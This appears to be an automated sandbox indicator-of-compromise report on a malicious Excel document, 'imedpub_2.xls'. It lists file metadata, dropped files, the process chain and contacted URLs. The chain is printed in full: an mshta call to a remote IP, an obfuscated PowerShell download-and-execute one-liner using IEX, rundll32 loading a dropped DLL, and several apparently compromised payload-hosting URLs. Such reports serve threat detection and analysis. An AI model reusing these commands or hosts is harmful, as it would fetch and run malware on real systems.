IOC Report

imedpub_2.xls

Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 27 11:58:35 2022, Last Saved Time/Date: Thu Jan 27 13:02:02 2022, Security: 0

initial sample

C:\ProgramData\QWER.dll

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

C:\Users\user\Desktop\imedpub_2.xls

Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 27 11:58:35 2022, Last Saved Time/Date: Thu Jan 27 13:02:02 2022, Security: 0

dropped

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding

C:\Windows\System32\cmd.exe

cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html

C:\Windows\System32\mshta.exe

mshta http://91.240.118.168/zqqw/zaas/fe.html

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X

C:\Windows\System32\cmd.exe

"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vnljigstknrhjwnk\pagi.wrr",GtcFgrxeupAr

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vnljigstknrhjwnk\pagi.wrr",DllRegisterServer

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qglmgufuicllvuzt\zdvyw.osp",fdhAQGhe

https://haileywells.com/cgi-bin/KJUOaq/PE3

unknown

http://praachichemfood.com/wp-content/themes/brooklyn/images/default/fav-114.png

unknown

https://onewaymedia.ro/wp-includ

unknown

https://lodev7.com/wp-content/dp

unknown

http://praachichemfood.com/public_html/SWmteCWBUkA89/PE3

unknown

http://www.praachichemfood.com/wp-content/themes/brooklyn/css/ut.theme.min.css?ver=4.9.7.2

unknown

https://www.praachichemfood.com/wp-json/

unknown

http://bakultante.com/tee5oeot/Q

unknown

http://praachichemfood.com/wp-content/themes/brooklyn/images/default/fav-57.png

unknown

https://dtmconsulting.ca/wp-includes/dkCFwyE/

162.241.211.118